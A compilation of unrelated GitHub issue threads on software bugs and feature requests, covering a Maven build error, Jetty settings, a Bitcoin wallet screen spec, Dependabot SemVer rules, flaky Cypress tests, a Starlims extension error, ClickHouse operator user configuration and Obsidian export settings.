[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn <args> -rf :dapr-sdk-examples

@stliu Currently the examples target v11 of Java https://github.com/dapr/java-sdk/blob/master/examples/pom.xml#L22

Closing issue since it was responded by @mukundansundar


Support Jetty config in Core and SharingServer modules

As #4399 merged, Jetty container is providing trace/metrics collection capabilities. So we need to set a better Jetty settings including the defaults and open them to the end users in our YAML.
@JaredTan95 Please choose which are the default values, and which should be open as configurations in the YAML.

@JaredTan95 Any update about this?


Assisted Vault: Need an information screen while creation

Add a Wallet > Advanced > (User clicks on) Assisted Wallet ( refer #4956 for details)
When the user clicks on the button, an information screen is shown ( similar to what we have in the Inheritance planning section)
Content:
Heading: Assisted Wallets:
Message: Secure your funds and plan your inheritance with this miniscript-based multisig wallet. Create a wallet with your trusted contacts such as friends or bitcoin consultants, holding 2 of 3 keys. Preset spending conditions ensure only you can initiate transactions for a period of 2 years since the creation of the wallet. 21 months after creating the wallet, it degrades to a single-sig for you to reset the wallet for the next two year (Only your keys would work during this period). In case you do not ( or are unable to) reset the wallet, it transforms to a 2-of-3 multisig for your key holders to be able to spend sats from the wallet without your approval. You would now be able to use the wallet as a 1-of-3 wallet with your key being able to create transactions as well as a standard 2-of-3.
Illustration: (Areej to create based on the purpose of this wallet)
CTA:
Heading: Create Assisted Wallet
Subheading: Time-locked wallets created with trusted contacts.

Information screens made along with the illustrations (Screens Placed next to assisted wallet flow)
https://www.figma.com/design/m5eMFTKD391AiJAXaEzgxB/Bitcoin-Keeper?node-id=166-433&t=mJim1tWVRV432wWj-1

@ASN-BitHyve This design is old, approved design is implemented in private repo.


Documentation should clarify SemVer ignore behavior for non-SemVer versions

Current documentation does not describe dependabot update behavior in the following situations:

Ignore set to update-types: ["version-update:semver-major"] with a version like 1.2 or <IP_ADDRESS>.
Same with an update between SemVer and not, eg 1.2->3.0.0 or 1.2.3->2.0

In the above situations I can reasonably expect that dependabot will either:

Treat 1 as  major in 1.2 and ignore major updates on a 2-digit version.
Treat 1 as major in 1.2.3 but not in 1.2 and thus ignore only one of these updates: 1.2->3.0.0, 1.2.3->2.0 (I have no idea which)
Not honor the ignore instruction at all for any non-SemVer versions and process updates regardless of ignore configuration.

In a similar vein, what is the expected behavior for processing semver instructions on completely non-semver versions?

1.2-monkey3
1234
1-SOME-WORD

This could be done by adding update-types in allow, so users will convert
  ignore:
    - dependency-name: "*"
      update-types: [ "version-update:semver-patch" ]

to
  allow:
    - dependency-name: "*"
      update-types: [ "version-update:semver-major", "version-update:semver-minor" ]
    - dependency-name: "non-semver-dep"


Support exporting .ysls files

I have this working in a project I'm working on. It works fine for functions as they implement this:
https://github.com/YarnSpinnerTool/YarnSpinner-Rust/blob/8918900c9ec0470203ac4ad9bbb19e5f9acb07ea/crates/core/src/yarn_fn/function_wrapping.rs#L57-L60
But commands don't so so I have to implement my commands in quite a hacky way:
https://github.com/YarnSpinnerTool/YarnSpinner-Rust/blob/8918900c9ec0470203ac4ad9bbb19e5f9acb07ea/crates/bevy_plugin/src/commands/command_wrapping.rs#L158-L164
I had a look at trying to make this change but I haven't quite figured out how to update the macro correctly.


Payment methods e2e test failing

mobile/my-account/payment-methods-mobile.e2e-spec.ts
regression/my-account/payment-methods.e2e-spec.ts
This test has been consistently failing on dev-17 as well. Potentially use this opportunity to fix it for good.
As usual, it cannot find the element with id #deliveryMode-standard-gross, but also has other issues. Console says it is unable to find the text with Set As Default and Delete
Maybe duplicate issue with GH-5867?

Failing on the 1.5.x branch

The URL above is pointing to an old build for the develop branch. Tests are passing now in 1.5.x branch.

Still fails in 1.5
https://jkmaster.test.c3po.b2c.ydev.hybris.com/job/spartacus-regression-tests-maintenance/22/consoleText

the test has probably failed on pipeline because of xhr call to get the order review information gets timeout.

After multiple runs of the test was able to reproduce locally.
The error is
"Unable to find an element with the text: Set as default. This could be because the text is broken up by multiple elements. In this case, you can provide a function for your text matcher to make your matcher more flexible."
We need to use a more specific matcher.
cy.getByText('Add New Payment').click({ force: true });
it should be
cy.get('.cx-checkout-btns')
    .getByText('Add New Payment')
    .click({ force: true });

same if true about the delete button.

The problem was not reproducible locally through UI. But could reproduce it using this command
or i in {1..40}; do yarn e2e:cy:run --spec cypress/integration/mobile/my-account/payment-methods-mobile.e2e-spec.ts; done
The test only fails four times.

576p resolution - Payment Methods Authenticated user should add a second payment method:
CypressError: Timed out retrying: Expected to find element: 'cx-review-submit', but never found it.
at Object.cypressErr (http://localhost:4200/__cypress/runner/cypress_runner.js:85348:11)
at Object.throwErr (http://localhost:4200/__cypress/runner/cypress_runner.js:85303:18)
at Object.throwErrByPath (http://localhost:4200/__cypress/runner/cypress_runner.js:85335:17)
at retry (http://localhost:4200/__cypress/runner/cypress_runner.js:77321:16)
at onFailFn (http://localhost:4200/__cypress/runner/cypress_runner.js:68422:16)
at tryCatcher (http://localhost:4200/__cypress/runner/cypress_runner.js:118962:23)
at Promise._settlePromiseFromHandler (http://localhost:4200/__cypress/runner/cypress_runner.js:116898:31)
at Promise._settlePromise (http://localhost:4200/__cypress/runner/cypress_runner.js:116955:18)
at Promise._settlePromise0 (http://localhost:4200/__cypress/runner/cypress_runner.js:117000:10)
at Promise._settlePromises (http://localhost:4200/__cypress/runner/cypress_runner.js:117075:18)
at Async../node_modules/bluebird/js/release/async.js.Async._drainQueue (http://localhost:4200/__cypress/runner/cypress_runner.js:113687:16)
at Async../node_modules/bluebird/js/release/async.js.Async._drainQueues (http://localhost:4200/__cypress/runner/cypress_runner.js:113697:10)
at Async.drainQueues (http://localhost:4200/__cypress/runner/cypress_runner.js:113571:14)
at

576p resolution - Payment Methods Authenticated user should set additional payment method as default:
Error: Unable to find an element with the text: Set as default. This could be because the text is broken up by multiple elements. In this case, you can provide a function for your text matcher to make your matcher more flexible.
at B (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16375)
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:17493
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:17219
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:8687
at MutationObserver.c (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16168)

576p resolution - Payment Methods Authenticated user should be able to delete payment method:
Error: Unable to find an element with the text: Delete. This could be because the text is broken up by multiple elements. In this case, you can provide a function for your text matcher to make your matcher more flexible.
at B (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16375)
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:17493
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:8687
at c (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16168)
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:15990
at new Promise ()
at k (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:15836)
at http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16333
at Object.asyncWrapper (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:15512)
at A (http://localhost:4200/__cypress/tests?p=cypress/support/index.js-189:89:16299)

PR: 6817
10x local 10x jenkins job,
build 239 to 249
https://jkmaster.test.c3po.b2c.ydev.hybris.com/job/spartacus-regression-tests-for-branch/239/
https://jkmaster.test.c3po.b2c.ydev.hybris.com/job/spartacus-regression-tests-for-branch/249/

PR to develop: GH-6841


1.2.81 cannot load scripts correctly

The new version extension has some issues in my  VS Code
When I click on a ServerScript Item in the Check out item list, it cannot be loaded correctly.Is this because I checked it out? I also found that the Application Code Behind that I checked out has the same problem.

---------------Server Error---------------

Exception of type: SSLRunException
Description: Could not find script 'undefined.Comparer' with layer equal or lower than system layer id 300
Location: ServerScriptProvider.GetScriptIdByName()
Code: 0
Execution Stack:
ServerScript.Enterprise_Data_Providers.ServerScriptProvider.getscriptidbyname() : 行号: 1253
ServerScript.Enterprise_Data_Providers.ServerScriptProvider.getcode() : 行号: 645
ServerScript.SCM_API.GetCode.main_ñ() : 行号: 43
----------End Server Error----------
---------------Server Error---------------
Exception of type: System.IndexOutOfRangeException
Description: 在位置 0 处没有任何行。
Execution Stack:
ServerScript.SCM_API.GetCode.main_ñ() : 行号: 102
----------End Server Error----------

It seems that your server script category name is undefined. Is it possible that you created a new server script category without a name? If not, can you show me how it is displayed in Starlims Designer?

this is the category that I have newly added, which contains some of my custom scripts.layerid is 300

Hm, this looks okay. I don't run into this issue on my version of Starlims.
Can you please check which layer ids the "Common", "SINO" and "UD_Tree" categories have? Are they all on layer 300?

Can you post the output of this statement. I'm curious how the  value is retrieved for those server scripts.
:RETURN DoProc("Enterprise_Data_Providers.CheckInProvider.GetPendingCheckins", {.F.});

It is starlims designer output

  <PendingCheckins>
    <CHILDID>A1340E0F-B66A-4F12-913E-ED92836C163F</CHILDID>
    <PARENTID>89C6647D-74A7-42CD-A704-B8D3DA7E98B9</PARENTID>
    <CHILDNAME>Tree_Helper</CHILDNAME>
    <PARENTNAME>UD_Tree</PARENTNAME>
    <CHECKEDOUTBY>ZHOUZJ</CHECKEDOUTBY>
    <CHILDTYPE>ServerScript</CHILDTYPE>
    <PARENTTYPE>SSC</PARENTTYPE>
    <CHECKEDOUTDATE>2023-09-21T15:52:34+08:00</CHECKEDOUTDATE>
    <SCRIPTLANGUAGE>STARLIMS</SCRIPTLANGUAGE>
    <ISSYSTEM>N</ISSYSTEM>
    <CAT_LAYERID>300</CAT_LAYERID>
    <LAYERID>300</LAYERID>
  </PendingCheckins>

Yes, the column names are uppercase.

Okay, I will publish a fix with hopefully should address the difference in capitalization for that column.


Operator does not remove stale users configuration when applying an updated CHI manifest

Consider a CHI manifest:
apiVersion: "clickhouse.altinity.com/v1"
kind: "ClickHouseInstallation"
metadata:
  name: "clickhouse-installation-1"
spec:
  configuration:
    users:
      datadog_agent/password: datadog_agent
      datadog_agent/networks/ip: "::/0"
      datadog_agent/profile: default
      datadog_agent/quota: default
  # ... etc.

Note that the datadog_agent's networks configuration has a single entry (ip)
When the operator finishes reconciling this CHI, you can find the following entry in the clickhouse container's /etc/clickhouse-server/users.d/chop-generated-users.xml:
        <datadog_agent>
            <networks>
                <host_regexp>(chi-clickhouse-installation-1-[^.]+\d+-\d+|clickhouse\-clickhouse-installation-1)\.transaction-tracing-data\.svc\.cluster\.local$</host_regexp>
                <ip>::1</ip>
                <ip><IP_ADDRESS></ip>
                <ip>::/0</ip>
            </networks>
            <password_sha256_hex>ae1dbda236a2e10c903ae908e6338bdf3c60aab5530b07414f10ba1eedb6c051</password_sha256_hex>
            <profile>default</profile>
            <quota>default</quota>
        </datadog_agent>

Note that the datadog_agent's networks configuration has the ip config we specified in the manifest (::/0).
It also has a host_regexp config and two ip configs, which seem to be inherited/copied from the default user. AFAICT this behaviour isn't documented and so seeing this was a little confusing; however, this is not what my issue is about.
Now, kubectl apply the following (updated) CHI manifest
apiVersion: "clickhouse.altinity.com/v1"
kind: "ClickHouseInstallation"
metadata:
  name: "clickhouse-installation-1"
spec:
  configuration:
    users:
      datadog_agent/password: datadog_agent
      datadog_agent/networks/host_regexp: \.datadog\.datadog\.svc\.cluster\.local$
      datadog_agent/profile: default
      datadog_agent/quota: default
  # ... etc.

Note the only change is that the networks configuration no longer has an ip; it now (only) has a host_regexp.
When the operator has finished reconciling the changes produced by this manifest, the chop-generated-users.xml
        <datadog_agent>
            <networks>
                <host_regexp>\.datadog\.datadog\.svc\.cluster\.local$</host_regexp>
                <ip>::1</ip>
                <ip><IP_ADDRESS></ip>
                <ip>::/0</ip>
            </networks>
            <password_sha256_hex>ae1dbda236a2e10c903ae908e6338bdf3c60aab5530b07414f10ba1eedb6c051</password_sha256_hex>
            <profile>default</profile>
            <quota>default</quota>
        </datadog_agent>

Note that the host_regexp entry has been added, but the original ip entry ::/0 still remains.
Is this intentional? It is not something I would have expected, and afaict it is not documented anywhere in the operator's spec (https://github.com/Altinity/clickhouse-operator/blob/master/tests/requirements/requirements.md).
If we fetch CHI resource from kubernetes, it will show that both entries now exist (and so it seems like the issues lies somewhere in the reconciliation loop, and not the "config file generation" process):
# truncated output from `kubectl get chi -o yaml`
          users:
            datadog_agent/networks/host_regexp: \.datadog\.datadog\.svc\.cluster\.local$
            datadog_agent/networks/ip:
            - ::1
            - <IP_ADDRESS>
            - ::/0
            datadog_agent/password_sha256_hex: ae1dbda236a2e10c903ae908e6338bdf3c60aab5530b07414f10ba1eedb6c051
            datadog_agent/profile: default
            datadog_agent/quota: default

Worth noting that if the ClickHouseInstallation resource is deleted and re-applied, the newly created pod's configuration will not have the old <ip>::/0</ip> config.

AFAICT this behaviour isn't documented and so seeing this was a little confusing

AFAICT this behaviour isn't documented and so seeing this was a little confusing

Feel free to make PR with appropriate documentation changes. Any contribution is very welcome.

Happy to do so! Can you please confirm that this is indeed intended behaviour, or if it's just incidental? This will determine how it should be phrased in the docs..

The operator merges values provided in the CR (chi resource) with defaults from its configuration.

so if i change the password of the default user using the following
  configuration:
    users:
      default/password_sha256_hex: 0x123f

it won't get picked up??
I keep getting Authentication type PLAINTEXT_PASSWORD is not allowed, check the setting allow_plaintext_password even though this the password is specified in sha256 hex

Additional networks/ip are specified in the operator's config as default values for user accounts, created by the operator. Configuration source is available in operator's config file template

Ah - I missed this, thank you.
Please do note that the issue originally described is for something a little different though.


Extra arguments not sticking

Frequently, my Extra arguments in settings for both PDF and Word(.docx) vanish, and (1) the only PDF argument is the default --pdf-engine=pdflatex, and (2) the Word(.docx) arguments are gone, nothing is in the container. How do I fix this, so my settings stick?

This is the default, docx has no extra arguments.
https://github.com/mokeyish/obsidian-enhancing-export/blob/63cd903fdd955ef780ff48a3223b11d8917a188b/src/export_templates.ts#L57-L79

I am aware of your default arguments. It is the Extra arguments that I created and inserted into the Extra arguments container—for PDF and Word(docx.)—that are disappearing after I insert them into the containers you provide for Extra arguments.
The Extra arguments that I create and insert into the Extra arguments container work as expected. Then, a day or two later, these Extra arguments disappear from the Extra arguments containers. I have to reinsert the arguments again and again. Settings should not disappear.
Hopefully, you will tell me how to fix this, so I don’t have to repeatedly reset the Extra Arguments settings.
Thank you.

On Jul 27, 2023, at 5:23 PM, YiiSh @.***> wrote:
This is the default, docx has no extra arguments.
https://github.com/mokeyish/obsidian-enhancing-export/blob/63cd903fdd955ef780ff48a3223b11d8917a188b/src/export_templates.ts#L57-L79
—
Reply to this email directly, view it on GitHub https://github.com/mokeyish/obsidian-enhancing-export/issues/108#issuecomment-1654793686, or unsubscribe https://github.com/notifications/unsubscribe-auth/AML6URXOMZBR4Z4D35O5XPDXSMA6NANCNFSM6AAAAAA22SOYPQ.
You are receiving this because you authored the thread.

This is very strange!  It may be that the modification is too fast, and the time interval between the two modifications is very short?  Did you open its settings while it was resetting?

https://github.com/mokeyish/obsidian-enhancing-export/blob/63cd903fdd955ef780ff48a3223b11d8917a188b/src/main.ts#L97
There might be a bug here, but I'm not sure.  This configuration persistence will only write the part changed by the user to the hard disk. This is done so that when there is a direct modification of the default configuration in the code, the adjustment can take effect in time.

Thanks for helping here. I did not open the settings while it was resetting. I am able to export a file correctly after inserting Extra arguments, and closing the settings interface. It all works for a while. I discover the missing Extra arguments when I attempt to export a subsequent file sometimes hours or even days later, and see the output file is inconsistent with the arguments. I'll will then open the settings interface and find the Extra arguments have disappeared! I then re-enter the settings, and history repeats itself.

I have the same issue

Hello, would you kindly test if it fixed?

@mokeyish - I will monitor the settings for a while, and advise.

Noticed the same thing last week. It seems as though this is resolved with the latest update.

I think this is fixed; my extra arguments are sticking. Thank you!